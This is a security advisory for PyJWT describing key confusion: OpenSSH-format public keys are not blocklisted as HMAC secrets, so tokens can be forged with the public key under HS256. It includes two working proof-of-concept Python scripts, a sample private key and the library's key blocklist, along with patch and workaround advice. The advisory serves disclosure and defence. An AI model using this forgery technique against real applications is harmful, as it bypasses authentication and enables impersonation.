Key confusion through non-blocklisted public key formats
Description
### Impact
_What kind of vulnerability is it? Who is impacted?_
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
> PyJWT supports multiple different JWT signing algorithms. With JWT, an 
> attacker submitting the JWT token can choose the used signing algorithm.
> 
> The PyJWT library requires that the application chooses what algorithms 
> are supported. The application can specify 
> "jwt.algorithms.get_default_algorithms()" to get support for all 
> algorithms. They can also specify a single one of them (which is the 
> usual use case if calling jwt.decode directly. However, if calling 
> jwt.decode in a helper function, all algorithms might be enabled.)
> 
> For example, if the user chooses "none" algorithm and the JWT checker 
> supports that, there will be no signature checking. This is a common 
> security issue with some JWT implementations.
> 
> PyJWT combats this by requiring that the if the "none" algorithm is 
> used, the key has to be empty. As the key is given by the application 
> running the checker, attacker cannot force "none" cipher to be used.
> 
> Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is 
> not a public key meant for asymmetric algorithm i.e. HMAC cannot be used 
> if the key begins with "ssh-rsa". If HMAC is used with a public key, the 
> attacker can just use the publicly known public key to sign the token 
> and the checker would use the same key to verify.
> 
>  From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. 
> With ed25519, PyJWT supports public keys that start with "ssh-", for 
> example "ssh-ed25519".
```python
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519
# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()
# Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())
# Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)
# Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")
# Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
     print("POC Successfull")
# Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",
#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",
#            b"ssh-rsa",
#        ]
#
# However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:
#
#                if "-----BEGIN PUBLIC" in str_key:
#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:
#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":
#                    return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior
```
```python
import jwt
#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub
priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""
pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""
ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""
# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")
# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")
```
> The issue is not that big as 
> algorithms=jwt.algorithms.get_default_algorithms() has to be used. 
> However, with quick googling, this seems to be used in some cases at 
> least in some minor projects.
### Patches
Users should upgrade to v2.4.0.
### Workarounds
Always be explicit with the algorithms that are accepted and expected when decoding.
### References
_Are there any links users can visit to find out more?_
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/jpadilla/pyjwt
* Email José Padilla: pyjwt at jpadilla dot com